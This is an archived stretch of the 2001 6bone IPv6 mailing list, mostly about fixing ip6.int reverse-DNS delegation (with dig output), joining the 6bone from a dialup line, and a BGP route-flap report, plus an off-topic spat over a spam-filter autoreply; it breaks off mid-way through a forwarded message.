% bufsize = 1024
% len = 25
% ;; ->>HEADER<<- opcode: QUERY, status: REFUSED, id: 20268
% ;; flags: qr; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
% ;;      ip6.int, type = AXFR, class = IN
% close(5) succeeded
% error receiving zone transfer
% 
% Oh well...
% 
% kre
% 

	A repair from ddos attack on nameservers.  Only one
	on munnari's addresses added.  fixed.

-- 
--bill

From 6bone-owner  Thu Aug  9 10:31:26 2001
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Bill Manning'" <bmanning@ISI.EDU>, "'Robert Elz'" <kre@munnari.OZ.AU>
Cc: <6bone@ISI.EDU>
Subject: RE: ipv6 reverse delegation
Date: Thu, 9 Aug 2001 19:30:17 +0200
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Bill Manning <bmanning@isi.edu> wrote:

> 
> 	A repair from ddos attack on nameservers.  Only one
> 	on munnari's addresses added.  fixed.

I just did some more 'testing':

8<---------------------
jeroen@purgatory:~$ dig @ns.nextra.sk. ip6.int soa

; <<>> DiG 9.1.1 <<>> @ns.nextra.sk. ip6.int soa
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2462
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 6, ADDITIONAL: 7

;; QUESTION SECTION:
;ip6.int.                       IN      SOA

;; ANSWER SECTION:
ip6.int.                80018   IN      SOA     z.ip6.int.
hostmaster.ep.net. 1925658 10800 900 604800 129600

;; AUTHORITY SECTION:
ip6.int.                75977   IN      NS      flag.ep.net.
ip6.int.                75977   IN      NS      munnari.oz.au.
ip6.int.                75977   IN      NS      imag.imag.fr.
ip6.int.                75977   IN      NS      ns3.nic.fr.
ip6.int.                75977   IN      NS      z.ip6.int.
ip6.int.                75977   IN      NS      y.ip6.int.

;; ADDITIONAL SECTION:
flag.ep.net.            109681  IN      A       198.32.4.13
munnari.oz.au.          169430  IN      A       128.250.1.21
munnari.oz.au.          169430  IN      A       128.250.22.2
imag.imag.fr.           284005  IN      A       129.88.30.1
ns3.nic.fr.             109678  IN      A       192.134.0.49
z.ip6.int.              71884   IN      A       198.32.2.66
z.ip6.int.              80018   IN      AAAA    3ffe:0:1::c620:242

;; Query time: 124 msec
;; SERVER: 195.168.1.2#53(ns.nextra.sk.)
;; WHEN: Thu Aug  9 18:36:38 2001
;; MSG SIZE  rcvd: 328
--------------------->8

The serial number is right..... But there is one nono: ns.nextra.sk
itself is missing from the NS's (on ns.nextra.sk itself :)... (compared
to flag.ep.net's output)

8<---------------------
jeroen@purgatory:~$ dig @ns3.nic.fr. ip6.int soa

; <<>> DiG 9.1.1 <<>> @ns3.nic.fr. ip6.int soa
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 24268
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;ip6.int.                       IN      SOA

;; Query time: 82 msec
;; SERVER: 192.134.0.49#53(ns3.nic.fr.)
;; WHEN: Thu Aug  9 18:43:48 2001
;; MSG SIZE  rcvd: 25
--------------------->8

Which kinda means that (at this moment) ns3.nic.fr doesn't seem to be up

Another interresting 'fact' between munnari.oz.au. and flag.ep.net are
the differences in TTL's, ns.nextra.sk is off there too...

www.foobar.tm/dns thinks that y.ip6.int is failing simply because it
hasn't got IPv6 support... ah well it does a good job at the rest of the
things..
Though I wonder what other resolvers think of the fact that the NS entry
has no A RR's....

8<----------
y.ip6.int.              86400   IN      AAAA    3ffe:50e::1
z.ip6.int.              86400   IN      A       198.32.2.66
z.ip6.int.              86400   IN      A6      0 3ffe:0:1::c620:242
z.ip6.int.              86400   IN      AAAA    3ffe:0:1::c620:242
----------->8
Oeee... A6 chains.... but y.ip6.int. doesn't have one :(

Hope this little info helps you a bit more on fixing things...

Greets,
 Jeroen


From 6bone-owner  Thu Aug  9 11:40:28 2001
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Andreas Roeschies '"@purgatory.unfix.org
Cc: <6bone@ISI.EDU>
Subject: O/T: UCE from Andreas Roeschies on every mail sent.... (Was: RE: ipv6 reverse delegation)
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Dear Mr(s)/it/thing/<fill in> Andreas Roeschies,

Everytime I do a post to this list (6bone@isi.edu) you are sending me
this nice 'spam complaint' automatically...
I think that's considered to be more 'spam' than the fact that this
'person' is spamming me each and everytime...
I wonder what the legal consequences for this 'person' are if one's name
is 'Bill Moneymaker' or 'John Girlson' or something :)
On a second note.... Mr(s). Roeschies... By replying to email, be it
automatic or not you are simply confirming that your mailbox is being
read/processed.
Which will then let them send you more and more mail.... Third note US
law doesn't apply in germany (.de).... And neither German nor US law
apply in.... Holland go figure...

Have a nice day/night/week/year considering your useless autoreplies
spamming everybody especially because the subject doesn't contain any of
your listed stupid words.

Hope you will fix this ASAP.

Greets,
 Jeroen

-----Original Message-----
From: Andreas Roeschies [mailto:andreas@roeschies.de] 
Sent: Thursday, 09 August 2001 20:09
To: Jeroen Massar
Subject: Re: RE: ipv6 reverse delegation


YOUR MESSAGE HAS NOT BEEN DELIVERED.
REMOVE WORDS LIKE "CREDIT", "$", "MONEY", "SEX" OR "GIRL"
AND SO ON FROM THE SUBJECT AND TRY AGAIN.

---------------------------------------------------
Unsolicited commercial/propaganda email subject to legal action.  Under
US
Code Title 47, Sec.227(a)(2)(B), Sec.227(b)(1)(C), and Sec.227(b)(3)(C),
a
State may impose a fine of not less than $500 per message.  Read the
full
text of Title 47 Sec 227 at
http://www.law.cornell.edu/uscode/47/227.html
---------------------------------------------------
Hiermit widerspreche ich der Nutzung oder Uebermittlung meiner Daten
fuer Werbezwecke oder fuer die Markt- oder Meinungsforschung gemaess
Paragraph 28 Absatz 3 Bundesdatenschutzgesetz.
---------------------------------------------------
Andreas Roeschies


From 6bone-owner  Thu Aug  9 14:21:35 2001
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"Jeroen Massar" <jeroen@unfix.org> writes:

> Dear Mr(s)/it/thing/<fill in> Andreas Roeschies,
> 
> Everytime I do a post to this list (6bone@isi.edu) you are sending me
> this nice 'spam complaint' automatically...
...
> YOUR MESSAGE HAS NOT BEEN DELIVERED.
> REMOVE WORDS LIKE "CREDIT", "$", "MONEY", "SEX" OR "GIRL"
> AND SO ON FROM THE SUBJECT AND TRY AGAIN.

I got the same silly response from his out-of-control foo filter.
Clearly there is something lewd about "ipv6".

From 6bone-owner  Thu Aug  9 21:21:40 2001
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Hi,

Wanted to touch mobile devices a bit.

In current GPRS implementation, the addresses (IPv4 or IPv6) are assigned by
GGSN (gateway out of the GPRS backbone towards the content).

This means, that even if you're roaming in a foreign country, you still get
the address of your very own operator.  Things are supposed to be changed a
bit in 3G All-IP networks, but I do not remember any discussions on address
assignment by Base Station Controller.
Furthermore, it will make hand-overs to the next cell a nightmare (imagine
changing your IP every time you change your BTS).

Best,
Ilja

: 
: Just to summarize the responses:
: 
: > As if the Privacy people weren't paranoid enough already :)  The MAN
: will
: > surely know what they are up to then...
: 
: The MAN already knows. And I'm as paranoid as any, but the 
: whole purpose
: of this is to wire up the 90+% of the world's population who 
: don't care
: what the MAN does. I think the MAN might even like the idea 
: enough to foot
: the bill.
: 
: > Interesting idea but 2 immediate issues come to mind:
: > 1. How do I address the 764 devices and processes in my 
: home or office
: > or the 140 unique devices in my motor car?
: > 2. What if I don't want to give out my address?
: 
: Guys like you and me will always be able to get a few gazillion ipv6
: addresses using 6to4 or other means. The idea here is to get 
: the rest of
: the world online and sharing information and ideas.
: 
: > I wouldn't use this scheme for allocating IPv6 addresses, 
: it is the job
: of
: > DNS to make it easy to address a computer containing your webpage
: right? You
: > also face the problem of privacy (as someone mentioned), 
: ISPs sharing
: > addresses (very large routing tables?), and management costs.
: 
: > I don't think it is necessary to start out with the planets 
: name, first
: of
: > all we are not there yet, secondly I can imagine the lag involved in
: > greate distances and a threeway handshake. If we just could send
: > information faster than light..
: 
: Good points. But I kind of like the idea of eliminating DNS 
: in at least
: one addressing scheme. The ISP sharing thing would be a big 
: problem, I was
: thinking however of a separate infrastructure, either 
: government-funded or
: grassroots-initiative.
: 
: I'd still give a byte up for the planet code, for the 'cool' factor if
: nothing else.
: 
: > Not to mention that I have an IPv6 NETWORK in my house.  Do 
: I have to
: > have a IPv6-NAT for that?
: 
: Another inveterate hacker. You _could_, but you wouldn't need 
: to, because
: you can also get addresses by other methods.
: 
: > You forgot to think about the possibility of having more 
: than 1 computer
: > per street address.
: > What about those 1/4th mile tall skyscrapers, without 
: counting all the
: > wall switches aso...
: 
: > IPv6 has chosen to keep the last 64bits as a private address part...
: > Can you shrink all the above in only 8 bytes ?
: 
: Didn't forget that at all. This is not about J. Random 
: Hacker, it's about
: normal people (the kind that don't subscribe to lists like this).
: 
: And who says we have to play by the rules, anyway? Even if I 
: agree on the
: last 64 bits being private, who says I can't subnet those out even to
: /128s? And yes, in many cases, with a good compression 
: scheme, I could get
: the above into 8 bytes. 2 for the TLA, 1 planet, 1 country, 1
: state/province/prefecture etc., 1 city; makes 6. For a small town with
: less than 65,000-some-odd addresses that would work. 
: 
: > Heh, Really, the idea I think would have promise, would be a
: conspirist's
: > nightmare ;)
: 
: I'm something of a conspiricist myself, but I think speading 
: connectivity
: would have more advantages than disadvantages.
: 
: > You might want to check out Tony Hain's (additional) Provider
: Independent
: > assignment idea:
: 
: > http://www.ietf.org/internet-drafts/draft-hain-ipv6-pi-addr-00.txt
: > 
: http://www.ietf.org/internet-drafts/draft-hain-ipv6-pi-addr-use-00.txt
: 
: > This creates a more unique 48-bit prefix and leaves the rest to the
: users.
: 
: I shall do that. I'm sure there are many ways of doing this.
: 
: > I personally think the above is worse than John's idea. Not 
: only does
: this
: > require that these /48's be globally routed making it near 
: impossible to
: > aggregate this address space, but it also gives an attacker the 10m
: location of
: > a persons or organisations internet access point! A bombers 
: paradise.
: 
: > The other problem with John's idea is that the address of a 
: machine is
: tied to
: > its address. Not only would routers have to contend with 
: new streets and
: houses
: > being built, but what if you move a lot?
: 
: > These problems can be oversome I'm sure, but perhaps it's 
: best discussed
: in
: > context of the next version of IP (IPv8 anyone?). ;)
: 
: You move, you change addresses. That's the point. And if the
: infrastructure is laid out well, the impact on routers will 
: be minimal.
:  
: IPv8 would be great, but I was hoping to do something before 
: I get much
: older; I'll bet we'll be facing the time_t crisis before ipv8 
: gets off the
: drawing boards.
: 
: > Zip codes are probably a way to go.
: 
: > I once thought about network adressing based upon lat and 
: long; the idea
: > was that routers could, knowing their own location, use 
: this information
: > as a hint to route packets a bit closer (physically) to their
: destination
: > when network route information was lacking. If you make certain
: > constraints on the physical architecture, you can even 
: ditch BGP and do
: it
: > all with coordinates. Just need to make sure that, if you drew the
: network
: > as a big diagram, no area bounded by network connections (with no
: > connections across it) is convex, or else you have a 
: "peninsula" that
: can
: > fill up with traffic meant for points beyond it.
: 
: > The cost of administering that is probably less than the 
: cost of RIPE et
: > al and all those complex BGP implementations and routing tables :-)
: 
: Zipcodes would work great in the US, since the USPS already 
: does all the
: work of mapping out new addresses to delivery-walk 11-digit codes. An
: 11-digit decimal number will fit easily into 5 bytes, leaving 
: room for the
: TLD and country code. I may have to drop the planet code after all...
: 
: Thanks everyone for the comments. Even if the IANA can't be 
: persuaded to
: grant a TLA for this crude idea, it could be used by neighborhood LANs
: which don't connect to the internet... I'll post a webpage on 
: this if I
: make any headway.
: 
: jcomeau@world.std.com aka John Otis Lene Comeau
: Home page: http://world.std.com/~jcomeau/
: Disclaimer: Don't risk anything of value based on free advice.
: "Anybody can do the difficult stuff. Call me when it's impossible."
: 

From 6bone-owner  Fri Aug 10 06:44:23 2001
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From: Jan Oravec <wsx@wsx6.net>
To: 6bone@ISI.EDU
Subject: Re: ipv6 reverse delegation
Message-ID: <20010810154420.A76996@ipv6.isternet.sk>
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Well, it seems to be working now...


; <<>> DiG 9.1.3rc1 <<>> @ns.nextra.sk. ip6.int soa
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18771
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 7, ADDITIONAL: 8

;; QUESTION SECTION:
;ip6.int.                       IN      SOA

;; ANSWER SECTION:
ip6.int.                86130   IN      SOA     z.ip6.int. hostmaster.ep.net. 1925658 10800 900 604800 129600

;; AUTHORITY SECTION:
ip6.int.                86130   IN      NS      ns.nextra.sk.
ip6.int.                86130   IN      NS      ns3.nic.fr.
ip6.int.                86130   IN      NS      flag.ep.net.
ip6.int.                86130   IN      NS      imag.imag.fr.
ip6.int.                86130   IN      NS      munnari.oz.au.
ip6.int.                86130   IN      NS      y.ip6.int.
ip6.int.                86130   IN      NS      z.ip6.int.

;; ADDITIONAL SECTION:
ns.nextra.sk.           43200   IN      A       195.168.1.2
ns3.nic.fr.             113936  IN      A       192.134.0.49
flag.ep.net.            120150  IN      A       198.32.4.13
imag.imag.fr.           276419  IN      A       129.88.30.1
munnari.oz.au.          112800  IN      A       128.250.1.21
y.ip6.int.              86130   IN      AAAA    3ffe:50e::1
z.ip6.int.              86129   IN      A       198.32.2.66
z.ip6.int.              86129   IN      AAAA    3ffe:0:1::c620:242

;; Query time: 3 msec
;; SERVER: 195.168.1.2#53(ns.nextra.sk.)
;; WHEN: Fri Aug 10 15:43:48 2001
;; MSG SIZE  rcvd: 382

> jeroen@purgatory:~$ dig @ns.nextra.sk. ip6.int soa
> 
> ; <<>> DiG 9.1.1 <<>> @ns.nextra.sk. ip6.int soa
> ;; global options:  printcmd
> ;; Got answer:
> ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2462
> ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 6, ADDITIONAL: 7
> 
> ;; QUESTION SECTION:
> ;ip6.int.                       IN      SOA
> 
> ;; ANSWER SECTION:
> ip6.int.                80018   IN      SOA     z.ip6.int.
> hostmaster.ep.net. 1925658 10800 900 604800 129600
> 
> ;; AUTHORITY SECTION:
> ip6.int.                75977   IN      NS      flag.ep.net.
> ip6.int.                75977   IN      NS      munnari.oz.au.
> ip6.int.                75977   IN      NS      imag.imag.fr.
> ip6.int.                75977   IN      NS      ns3.nic.fr.
> ip6.int.                75977   IN      NS      z.ip6.int.
> ip6.int.                75977   IN      NS      y.ip6.int.
> 
> ;; ADDITIONAL SECTION:
> flag.ep.net.            109681  IN      A       198.32.4.13
> munnari.oz.au.          169430  IN      A       128.250.1.21
> munnari.oz.au.          169430  IN      A       128.250.22.2
> imag.imag.fr.           284005  IN      A       129.88.30.1
> ns3.nic.fr.             109678  IN      A       192.134.0.49
> z.ip6.int.              71884   IN      A       198.32.2.66
> z.ip6.int.              80018   IN      AAAA    3ffe:0:1::c620:242
> 
> ;; Query time: 124 msec
> ;; SERVER: 195.168.1.2#53(ns.nextra.sk.)
> ;; WHEN: Thu Aug  9 18:36:38 2001
> ;; MSG SIZE  rcvd: 328
> --------------------->8
> 
> The serial number is right..... But there is one nono: ns.nextra.sk
> itself is missing from the NS's (on ns.nextra.sk itself :)... (compared
> to flag.ep.net's output)

From 6bone-owner  Fri Aug 10 07:46:03 2001
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From: "John Bittenbender" <johnb@exario.net>
To: <6bone@ISI.EDU>
References: <001201c12102$9b82db20$420d640a@HELL> <87lmktexpd.fsf@ghidra.vail>
Subject: Re: O/T: UCE from Andreas Roeschies on every mail sent.... (Was: RE: ipv6 reverse delegation)
Date: Fri, 10 Aug 2001 10:45:45 -0400
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----- Original Message ----- 
From: "Hal Snyder" <hal@vailsys.com>
To: <6bone@ISI.EDU>

| "Jeroen Massar" <jeroen@unfix.org> writes:
| 
| > Dear Mr(s)/it/thing/<fill in> Andreas Roeschies,
| > 
| > Everytime I do a post to this list (6bone@isi.edu) you are sending me
| > this nice 'spam complaint' automatically...
| ...
| > YOUR MESSAGE HAS NOT BEEN DELIVERED.
| > REMOVE WORDS LIKE "CREDIT", "$", "MONEY", "SEX" OR "GIRL"
| > AND SO ON FROM THE SUBJECT AND TRY AGAIN.
| 
| I got the same silly response from his out-of-control foo filter.
| Clearly there is something lewd about "ipv6".


I imagine that it is the address of the list that triggers it.

6BONE@isi.edu

Just a guess.

John Bittenbender


From 6bone-owner  Sat Aug 11 08:09:11 2001
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Hi, 

Could someone enlighten me as to how you get your nameservers 
delegated to be authoritive for a 3ffe/28 allocation in the reverse 
zone ip6.int ?

Thanks,
Paul




From 6bone-owner  Sat Aug 11 14:09:40 2001
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: ip6.int delegation
To: info@caladan.net
Date: Sat, 11 Aug 2001 14:09:39 -0700 (PDT)
Cc: 6bone@ISI.EDU
In-Reply-To: <200108111609.f7BG9Dm07559@usul.caladan.net> from "info@caladan.net" at Aug 11, 2001 04:09:04 PM
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% 
% Hi, 
% 
% Could someone enlighten me as to how you get your nameservers 
% delegated to be authoritive for a 3ffe/28 allocation in the reverse 
% zone ip6.int ?
% 
% Thanks,
% Paul
% 


You send a list of your delegated prefix and two authoritative 
nameservers to either bmanning@isis.edu or hostmaster@ep.net


Bob, can you ensure that this information is passed on when 
you authorize delegations?

-- 
--bill

From 6bone-owner  Sun Aug 12 11:58:52 2001
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Envelope-To: <6bone@isi.edu>
From: "Chris Smith" <cjs94@zepler.org.uk>
To: 6bone@ISI.EDU
Date: Sun, 12 Aug 2001 19:58:04 +0100
Subject: Requirements for joining the 6Bone
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Hi,

I am interested in IPv6 and, having read the "How to join the 6bone" 
document (http://www.6bone.net/6bone_hookup.html), I now have a 
question.

The document talks about building a configured IPv4 tunnel to the 
6bone point of entry. This leads me to believe that to connect to the 
6bone one must first be in possession of a static IPv4 address.

Is a static IPv4 address a requirement of joining the 6bone?
Is is possible for a dialup user with a dynamic ISP-assigned IPv4 
address to join the 6bone?

Thanks in advance,


Chris
--
Chris Smith
Work: chris.smith@tfbplc.co.uk     Home: cjs94@zepler.org.uk
PGP Key available from public key servers; Key ID 0xA9DA8E79
"Veni, vidi, velcro." - "I came, I saw, I stuck around."

From 6bone-owner  Sun Aug 12 16:44:20 2001
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Date: Mon, 13 Aug 2001 01:43:51 +0200 (CEST)
From: Piotr Zurawski <szur@ix.renet.pl>
To: <6bone@ISI.EDU>
Cc: Chris Smith <cjs94@zepler.org.uk>
Subject: Re: Requirements for joining the 6Bone
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On Sun, 12 Aug 2001, Chris Smith wrote:

> The document talks about building a configured IPv4 tunnel to the
> 6bone point of entry. This leads me to believe that to connect to the
> 6bone one must first be in possession of a static IPv4 address.
>
> Is a static IPv4 address a requirement of joining the 6bone?
> Is is possible for a dialup user with a dynamic ISP-assigned IPv4
> address to join the 6bone?

Tunneling is a sort of encapsulation, that is used, when you can't
just send desired protocol over a line you have due to some
limitations (eg. hardware is not capable). When talking about tunnels
in the context of 6bone, we usualy mean transfering ipv6 packets over
a ipv4 connection. But it's also possible to estabilish connection
without using ip tunneling. You can send ipv6 packets over ATM or
Frame Relay or anything else as long as your hardware supports that.
As you see, having ipv4 structure is not required to use ipv6
adresses.

It is possible to access ipv6 networks using dialup in at least three
ways (these are the ways I know):

 * Using dynamic tunneling (eg. updated via www interface)
 * Using 6to4 mechanism
 * Using ipv6 capable dialups. I've heard of one ISP in Nederlands
   with country-wide dialup that assigns both ipv4 and ipv6 addresses
   to the users.

> Chris

-- 
Piotr Zurawski
szur@ix.renet.pl



From 6bone-owner  Sun Aug 12 19:21:58 2001
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Date: Sun, 12 Aug 2001 19:19:12 -0700
To: Bill Manning <bmanning@ISI.EDU>, info@caladan.net
From: Bob Fink <fink@es.net>
Subject: Re: ip6.int delegation
Cc: 6bone@ISI.EDU
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At 02:09 PM 8/11/2001 -0700, Bill Manning wrote:
>%
>% Hi,
>%
>% Could someone enlighten me as to how you get your nameservers
>% delegated to be authoritive for a 3ffe/28 allocation in the reverse
>% zone ip6.int ?
>%
>% Thanks,
>% Paul
>%
>
>
>You send a list of your delegated prefix and two authoritative
>nameservers to either bmanning@isis.edu or hostmaster@ep.net
>
>
>Bob, can you ensure that this information is passed on when
>you authorize delegations?

Sure.


Thanks,

Bob


From 6bone-owner  Mon Aug 13 04:22:04 2001
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From: Bernhard Schmidt <berni@birkenwald.de>
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On Sun, Aug 12, 2001 at 07:58:04PM +0100, Chris Smith wrote:

Hi,

> Is a static IPv4 address a requirement of joining the 6bone?

It's not a requirement, but then you have to use a tunnel endpoint where yo=
u=20
can update your local ip at runtime.

> Is is possible for a dialup user with a dynamic ISP-assigned IPv4=20
> address to join the 6bone?

You could try freenet6.net, they provide IPv6-over-IPv4 tunnels for=20
dynamic IPs and they even assign /48-prefixes. I tried it before I got=20
my static line and it worked quite well.

   bye bye
     Bernhard

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From 6bone-owner  Mon Aug 13 10:06:58 2001
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Subject: Re: ipv6 reverse delegation
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for ip6.int,

	ns3.nic.fr 	returns SERVFAIL
	ns.nextra.sk 	returns NOERROR, and the data from
		the INT zone in the authority section.

I'll be working w/ these servers administrative support staff
to ensure these are either corrected on removed.


-- 
--bill

From 6bone-owner  Mon Aug 13 11:55:41 2001
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From: "Chris Smith" <cjs94@zepler.org.uk>
To: 6bone@ISI.EDU
Date: Mon, 13 Aug 2001 19:54:49 +0100
Subject: Re: Requirements for joining the 6Bone
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Many thanks to those that responded, I'm now off to investigate 
further.



Chris
--
Chris Smith
Work: chris.smith@tfbplc.co.uk     Home: cjs94@zepler.org.uk
PGP Key available from public key servers; Key ID 0xA9DA8E79
"Veni, vidi, velcro." - "I came, I saw, I stuck around."

From 6bone-owner  Mon Aug 13 13:37:31 2001
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Subject: O/T: MHTP draft (draft-py-multi6-mhtp-01.txt)
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I welcome anybody's comments on not-yet-published -01 version of the
draft:
http://arneill-py.sacramento.ca.us/draft-py-multi6-mhtp-01.txt

( The -00 is available here:
http://www.ietf.org/internet-drafts/draft-py-multi6-mhtp-00.txt )

Regards,
Michel.


From 6bone-owner  Mon Aug 13 13:50:25 2001
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Subject: Re: ipv6 reverse delegation
To: christian.bahls@stud.uni-rostock.de
Date: Mon, 13 Aug 2001 13:50:25 -0700 (PDT)
Cc: bmanning@ISI.EDU (Bill Manning), 6bone@ISI.EDU
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% > % What of rfc3152, deprecating IP6.INT in favor of IP6.ARPA - "the old
% > % usage is not appropriate for new implementations" - should we plan on
% > % using ip6.arpa anytime soon on the 6bone?
% > % 
% > 	ip6.arpa is an interesting idea and has been slowly
% > 	working its way through the IESG/IAB approval process.
% > 	It was not the product of an IETF WG and was driven
% > 	strictly by political interest
%
% right you name it ..
% should one really be so keen
% to do everything US-Goverment tells us to?

	In this case, its the IESG/IAB forcing a change
	that has zero technological basis.  Odd work for the
	IESG/IAB, who are supposed to be political agnostics.
	The USG has little to do with it.

--bill

From 6bone-owner  Tue Aug 14 02:19:28 2001
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From: david.greaves@idl-bt.com
To: cjs94@zepler.org.uk, 6bone@ISI.EDU
Subject: RE: Requirements for joining the 6Bone
Date: Tue, 14 Aug 2001 10:17:58 +0100
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I did some playing with this and set up my dial-up linux box as an IPv6
router, got it to obtain an IPv6 address and network from an HTML form (BTs)
and then used radvd to inform a couple of IPv6 clients.

It needed a custom perl script to go to the form and then setup local config
but it worked after a fashion :)

I wrote 25 pages of notes that went through from kernel config, Bind 9
setup, radvd, and wrote a noddy client/server. It's not a HOWTO but it
documents my ramblings somewhat :)

If anyone wants I'll send or post them up.

David Greaves
--
Internet Designers Limited - a BT company 
Mobile: 07740 824106
IDL intranet site http://intranet.idl.bt.co.uk/
<http://intranet.idl.bt.co.uk/External> 
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> -----Original Message-----
> From: Chris Smith [mailto:cjs94@zepler.org.uk]
> Sent: 12 August 2001 19:58
> To: 6bone@ISI.EDU
> Subject: Requirements for joining the 6Bone
> 
> 
> Hi,
> 
> I am interested in IPv6 and, having read the "How to join the 6bone" 
> document (http://www.6bone.net/6bone_hookup.html), I now have a 
> question.
> 
> The document talks about building a configured IPv4 tunnel to the 
> 6bone point of entry. This leads me to believe that to connect to the 
> 6bone one must first be in possession of a static IPv4 address.
> 
> Is a static IPv4 address a requirement of joining the 6bone?
> Is is possible for a dialup user with a dynamic ISP-assigned IPv4 
> address to join the 6bone?
> 
> Thanks in advance,
> 
> 
> Chris
> --
> Chris Smith
> Work: chris.smith@tfbplc.co.uk     Home: cjs94@zepler.org.uk
> PGP Key available from public key servers; Key ID 0xA9DA8E79
> "Veni, vidi, velcro." - "I came, I saw, I stuck around."
> 

From 6bone-owner  Sun Aug 19 05:07:04 2001
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From: Amit Schnitzer <Amit.Schnitzer@orange.co.il>
To: 6bone@ISI.EDU
Subject: Looking for a contact person at Stealth.
Date: Sun, 19 Aug 2001 14:55:16 +0200
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Does anybody know of a contact person at Stealth ?
I have been in contact with a person named Shrihari Pandit
[spandit@stealth.net] through mails but he vanished a few weeks ago and I
can't seem to reach 
him.
I also tried to contact him trough the company's address at ipv6@stealth.net
<mailto:ipv6@stealth.net> .
Any help will be gratefully accepted,






                   Amit Schnitzer 
          Network and Security team
Partner Communications Company Ltd.
                 Tel: 03-9055765
              Mobile: 054-815765


From 6bone-owner  Sun Aug 19 23:23:24 2001
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From: Aljaz Tomaz    RDPM <aljaz@iskratel.si>
To: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: IPv6 simulator
Date: Mon, 20 Aug 2001 08:23:11 +0200
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Hi all!
Does anyone know if there is any available IPv6 simulator (to simulate
network, traffic, etc).

Best regards,
Tomaz

> _______________________________
> M.Sc. Tomaz Aljaz, 
> ISKRATEL, Ltd., Kranj
>                                           Ljubljanska c. 24a
>                                           4000 Kranj
>                                           Slovenia
>                                           www.iskratel.si
> 
> Phone:  (+386) 4 207 3425		E.Mail:   aljaz@iskratel.si
> Fax:      (+386) 4 202 1525            	e-Fax:   (+386) 4 207 39425
> _________________________________________________
> 
> 
> 

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From: Ilja.Maslov@nokia.com
To: 6bone@ISI.EDU
Subject: RE: IPv6 simulator
Date: Mon, 20 Aug 2001 12:14:14 +0300
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: Does anyone know if there is any available IPv6 simulator (to simulate
: network, traffic, etc).
: 
Hi,

MGEN6, it is usually at http://www.it.uc3m.es/~alberto/mgen6/

Ilja

From 6bone-owner  Mon Aug 20 05:09:02 2001
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From: Aljaz Tomaz    RDPM <aljaz@iskratel.si>
To: 6bone@ISI.EDU
Subject: RE: IPv6 simulator
Date: Mon, 20 Aug 2001 14:08:48 +0200
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I have problems to connect to the site. 

Tomaz

> -----Original Message-----
> From: Ilja.Maslov@nokia.com [mailto:Ilja.Maslov@nokia.com]
> Sent: Monday, August 20, 2001 11:14 AM
> To: 6bone@ISI.EDU
> Subject: RE: IPv6 simulator
> 
> 
> 
> : Does anyone know if there is any available IPv6 simulator 
> (to simulate
> : network, traffic, etc).
> : 
> Hi,
> 
> MGEN6, it is usually at http://www.it.uc3m.es/~alberto/mgen6/
> 
> Ilja
> 

From 6bone-owner  Tue Aug 21 06:45:12 2001
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Date: Tue, 21 Aug 2001 14:45:05 +0100
From: Paul Aitken <paitken@cisco.com>
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Subject: Excessive 6bone BGP route flap?
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Folks,

I'm looking at my 6bone routers, and seeing excessive bgp flap for
2001::/16 and 3FFE:8080::/28 :

   Network          From            Flaps Duration Reuse    Path

*d 2001:2E8::/35    3FFE:C00:E:18:: 726   1d12h    00:57:10 8954 8002
2042 4691 
 h                  3FFE:80A0:0:F00 1050  4d04h             3320 8002
4691 
*d                  3FFE:C00:E:B::2 2678  5d05h    00:57:10 237 3748
4725 4691 
*d                  3FFE:80C0:200:5 3608  1w0d     00:57:10 8002 2042
4691 

*d 3FFE:8080::/28   3FFE:C00:E:18:: 723   1d11h    00:58:10 8954 8002
4691 
 h                  3FFE:80A0:0:F00 877   4d04h             3320 8002
4691 
*d                  3FFE:C00:E:B::2 1335  5d05h    00:56:10 237 8002
4691 
*d                  3FFE:80C0:200:5 3605  1w0d     00:58:10 8002 4691 

*d 3FFE:8080::/28   3FFE:C00:8023:1 1768  1w0d     00:49:20 33 8002 4691 

If I'm reading this right, it flapped 3600 times in the last week - over
500 times per day, or every 3 minutes :(

I feel that's just a tad excessive :(
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX

From 6bone-owner  Tue Aug 21 10:30:46 2001
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To: paitken@cisco.com
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Subject: Re: Excessive 6bone BGP route flap?
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Date: Wed, 22 Aug 2001 02:30:44 +0900
From: Yutaka Ishizaki <ishizaki@dti.ad.jp>
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Hello Paul,

This is Yutaka Ishizaki of Dream Train Internet(AS4691),
maintaining route of 2001:2E8::/35 and 3FFE:8080::/28.

I found problem to flapping tunnel link of AS8002.
and shutdown of bgp peer now.

Thank you for your report.


> Folks,
> 
> I'm looking at my 6bone routers, and seeing excessive bgp flap for
> 2001::/16 and 3FFE:8080::/28 :
> 
-- snip --
> 
> If I'm reading this right, it flapped 3600 times in the last week - over
> 500 times per day, or every 3 minutes :(
> 
> I feel that's just a tad excessive :(


-- Yutaka Ishizaki
    DREAM TRAIN INTERNET, INC.

From 6bone-owner  Tue Aug 21 10:54:54 2001
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Date: Tue, 21 Aug 2001 19:54:50 +0200
From: Kurt Roeckx <Q@ping.be>
To: 6bone@ISI.EDU
Subject: Fwd: Re: Looking for a contact person at Stealth. (fwd)
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--fdj2RfSjLxBAspz7
Content-Type: text/plain; charset=us-ascii

On Ville's request ...


Kurt


--fdj2RfSjLxBAspz7
Content-Type: message/rfc822

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Date: Tue, 21 Aug 2001 09:55:19 -0400 (EDT)
From: Ville <ville@millennium.stealth.net>
To: Q@ping.be
Subject: Re: Looking for a contact person at Stealth. (fwd)
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Kurt,

Could you pass this to the list? The message was sent a few
days back but never seemed to reach the list.

Thanks.
 

---------- Forwarded message ----------
Date: Sun, 19 Aug 2001 16:20:37 -0400 (EDT)
From: Ville <ville@millennium.stealth.net>
To: Amit Schnitzer <Amit.Schnitzer@orange.co.il>
Cc: 6bone@isi.edu
